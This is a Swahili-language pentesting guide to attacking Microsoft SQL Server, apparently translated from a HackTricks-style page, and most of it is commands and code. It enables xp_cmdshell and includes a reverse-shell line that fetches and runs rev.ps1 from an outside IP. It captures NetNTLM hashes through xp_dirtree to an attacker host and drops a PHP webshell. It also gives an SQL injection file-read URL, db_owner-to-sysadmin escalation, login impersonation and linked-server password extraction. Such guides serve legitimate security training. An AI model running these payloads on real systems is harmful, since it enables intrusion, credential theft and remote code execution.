Taarifa Msingi

Kutoka wikipedia:

Microsoft SQL Server ni mfumo wa usimamizi wa database wa kihusishi uliyoendelezwa na Microsoft. Kama seva ya database, ni bidhaa ya programu yenye kazi kuu ya kuhifadhi na kurejesha data kama inavyotakiwa na programu nyingine—ambazo zinaweza kukimbia kwenye kompyuta ile ile au kwenye kompyuta nyingine kwenye mtandao (ikiwa ni pamoja na Mtandao).\

Bandari ya chaguo: 1433

1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM

Majedwali ya Mfumo wa MS-SQL ya Ufafanuzi

• Database ya msingi: Hii ni database muhimu kwani inakamata maelezo yote ya kiwango cha mfumo kwa kipengee cha SQL Server.

• Database ya msdb: SQL Server Agent hutumia database hii kusimamia ratiba za tahadhari na kazi.

• Database ya mfano: Inafanya kazi kama kielelezo kwa kila database mpya kwenye kipengee cha SQL Server, ambapo mabadiliko yoyote kama ukubwa, usanidi, mfano wa kupona, na zaidi yanafanana katika databases zilizoundwa hivi karibuni.

• Database ya Rasilimali: Database isiyoweza kuhaririwa ambayo ina vitu vya mfumo vinavyokuja na SQL Server. Vitu hivi, ingawa vimehifadhiwa kimwili kwenye database ya Rasilimali, kwa mantiki vinaonyeshwa kwenye schema ya sys ya kila database.

• Database ya tempdb: Inafanya kama eneo la kuhifadhi la muda kwa vitu vya muda au seti za matokeo ya kati.

Uthibitishaji

Uthibitishaji wa Kiotomatiki

Ikiwa hujui chochote kuhusu huduma:

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping

Ikiwa huna vyeti unaweza kujaribu kuzigundua. Unaweza kutumia nmap au metasploit. Kuwa makini, unaweza kuzuia akaunti ikiwa utashindwa kuingia mara kadhaa ukitumia jina la mtumiaji lililopo.

Metasploit (inahitaji vyeti)

Uchunguzi wa Mikono

Kuingia

# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;

Pata Ruhusa

1. Inalindika: Imetajwa kama rasilimali zinazosimamiwa na SQL Server kwa ajili ya kudhibiti upatikanaji. Hizi hugawanywa katika makundi yafuatayo:

• Server – Mifano ni pamoja na maktaba za data, kuingia, mwisho wa mawasiliano, vikundi vya upatikanaji, na majukumu ya seva.

• Database – Mifano hujumuisha jukumu la maktaba ya data, majukumu ya programu, skimu, vyeti, katalogi za maandishi kamili, na watumiaji.

• Skimu – Inajumuisha meza, maoni, taratibu, kazi, visawe, n.k.

2. Ruhusa: Zinahusishwa na vitu vinavyolindwa vya SQL Server, ruhusa kama vile ALTER, CONTROL, na CREATE zinaweza kutolewa kwa mkuu. Usimamizi wa ruhusa hufanyika katika viwango viwili:

• Kiwanja cha Seva kwa kutumia kuingia

• Kiwanja cha Maktaba ya Data kwa kutumia watumiaji

3. Mkuu: Istilahi hii inahusu kifaa ambacho kimetolewa ruhusa ya kufikia kitu. Wakuu kwa kawaida ni pamoja na kuingia na watumiaji wa maktaba ya data. Udhibiti wa upatikanaji wa vitu vinavyolindwa hufanywa kwa kutoa au kukataa ruhusa au kwa kuwaingiza kuingia na watumiaji katika majukumu yenye haki za upatikanaji.

Mbinu

Tekeleza Amri za OS

Tafadhali elewa kwamba ili uweze kutekeleza amri, siyo tu ni muhimu kuwa na xp_cmdshell imezimwa, bali pia kuwa na ruhusa ya KUTEKELEZA kwenye utaratibu uliowekwa wa xp_cmdshell. Unaweza kujua ni nani (isipokuwa sysadmins) wanaweza kutumia xp_cmdshell na:

Use master
EXEC sp_helprotect 'xp_cmdshell'

# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

#One liner
sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —

Pora Hashi ya NetNTLM / Shambulio la Kurelayi

Unapaswa kuanzisha seva ya SMB ili kukamata hashi inayotumiwa katika uwakiki (impacket-smbserver au responder kwa mfano).

xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'

# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer

Unaweza kuangalia ni nani (isipokuwa sysadmins) ana ruhusa ya kukimbia hizo kazi za MSSQL kwa:

Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';

Kwa kutumia zana kama responder au Inveigh inawezekana kuiba hash ya NetNTLM. Unaweza kuona jinsi ya kutumia zana hizi katika:

pageSpoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Kutumia Viungo Vilivyothibitishwa vya MSSQL

Soma chapisho hili ili kupata maelezo zaidi kuhusu jinsi ya kutumia kipengele hiki:

pageMSSQL AD Abuse

Andika Faili

Kuandika faili kwa kutumia MSSQL, tunahitaji kuwezesha Taratibu za Kiotomatiki za Ole, ambayo inahitaji mamlaka ya msimamizi, na kisha kutekeleza taratibu zilizohifadhiwa ili kuunda faili:

# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE

sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

Soma faili na OPENROWSET

Kwa chaguo-msingi, MSSQL inaruhusu faili kusomwa kwenye faili yoyote kwenye mfumo wa uendeshaji ambao akaunti ina ufikiaji wa kusoma. Tunaweza kutumia swali la SQL lifuatalo:

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

Hata hivyo, chaguo la BULK linahitaji idhini ya ADMINISTER BULK OPERATIONS au idhini ya ADMINISTER DATABASE BULK OPERATIONS.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';

Kivinjari cha makosa kwa SQLi:

https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--

RCE/Soma faili zinazotekeleza scripts (Python na R)

MSSQL inaweza kuruhusu wewe kutekeleza scripts katika Python na/au R. Msimbo huu utatekelezwa na mtumiaji tofauti kuliko yule anayetumia xp_cmdshell kutekeleza amri.

Mfano wa kujaribu kutekeleza 'R' "Hellow World!" haifanyi kazi:

Mfano wa kutumia python iliyowekwa kufanya vitendo kadhaa:

# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO

Soma Usajili

Microsoft SQL Server hutoa taratibu nyingi za kuhifadhi zilizopanuliwa ambazo kuruhusu wewe kuingiliana si tu na mtandao bali pia na mfumo wa faili na hata Usajili wa Windows:

Kawaida	Inayotambua-Instance
sys.xp_regread	sys.xp_instance_regread
sys.xp_regenumvalues	sys.xp_instance_regenumvalues
sys.xp_regenumkeys	sys.xp_instance_regenumkeys

```sql
# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
```
Kwa mfano zaidi angalia chanzo cha asili.

RCE na MSSQL User Defined Function - SQLHttp

Inawezekana kupakia dll ya .NET ndani ya MSSQL na kazi za desturi. Hata hivyo, hii inahitaji ufikiaji wa dbo hivyo unahitaji uhusiano na database kama sa au jukumu la Msimamizi.

Fuata kiungo hiki kuona mfano.

Njia Nyingine za RCE

Kuna njia nyingine za kupata utekelezaji wa amri, kama vile kuongeza taratibu za kuhifadhiwa zilizoziduliwa, Majumuisho ya CLR, Kazi za SQL Server Agent, na maandishi ya nje.

Ukarabati wa Mamlaka wa MSSQL

Kutoka db_owner hadi sysadmin

Ikiwa mtumiaji wa kawaida anapewa jukumu la db_owner juu ya database iliyo na mmiliki wa admin (kama vile sa) na hiyo database imeboreshwa kama trustworthy, mtumiaji huyo anaweza kutumia mamlaka haya kwa privesc kwa sababu taratibu zilizohifadhiwa zilizoundwa hapo zinaweza kutekelezwa kama mmiliki (admin).

# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases

# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>

CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'

--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me

--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')

Unaweza kutumia moduli ya metasploit:

msf> use auxiliary/admin/mssql/mssql_escalate_dbowner

Au skripti ya PS:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184

Uigizaji wa watumiaji wengine

SQL Server ina idhini maalum, inayoitwa IMPERSONATE, ambayo inaruhusu mtumiaji anayetekeleza kuchukua idhini za mtumiaji mwingine au kuingia mpaka muktadha urejeshwe au kikao kikome.

# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned

# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

Ikiwa unaweza kujifanya kuwa mtumiaji, hata kama yeye si sysadmin, unapaswa kuangalia iki mtumiaji ana upatikanaji wa databases au seva zilizounganishwa.

Tafadhali kumbuka kwamba mara tu unapokuwa sysadmin unaweza kujifanya kuwa mwingine yeyote:

-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT

Unaweza kutekeleza shambulio hili kwa moduli ya metasploit:

msf> auxiliary/admin/mssql/mssql_escalate_execute_as

au kwa script ya PS:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!

Kutumia MSSQL kwa Uthabiti

Kuchimba Nywila kutoka kwa Seva za SQL Server Zilizounganishwa

Mshambuliaji anaweza kuchimba nywila za Seva za SQL Zilizounganishwa kutoka kwa Mifano ya SQL na kuzipata kwa maandishi wazi, hivyo kupata nywila za mshambuliaji ambazo zinaweza kutumika kupata msingi mkubwa zaidi kwenye lengo. Script ya kuchimba na kufichua nywila zilizohifadhiwa kwa Seva Zilizounganishwa inaweza kupatikana hapa

Baadhi ya mahitaji na mipangilio lazima ifanywe ili kuch exploit hii ifanye kazi. Kwanza kabisa, lazima uwe na Haki za Msimamizi kwenye mashine, au uwezo wa kusimamia Mipangilio ya Seva ya SQL.

Baada ya kuthibitisha ruhusa zako, unahitaji kusanidi mambo matatu, ambayo ni haya yafuatayo:

1. Wezesha TCP/IP kwenye mifano ya SQL Server;

2. Ongeza Parameta ya Kuanza, katika kesi hii, bendera ya kufuatilia itaongezwa, ambayo ni -T7806.

3. Wezesha uunganisho wa msimamizi wa mbali.

Ili kiotomatiki mipangilio hii, hifadhi hii ina hati zinazohitajika. Mbali na kuwa na hati ya powershell kwa kila hatua ya usanidi, hifadhi pia ina hati kamili ambayo inachanganya hati za usanidi na uchimbaji na ufichuaji wa nywila.
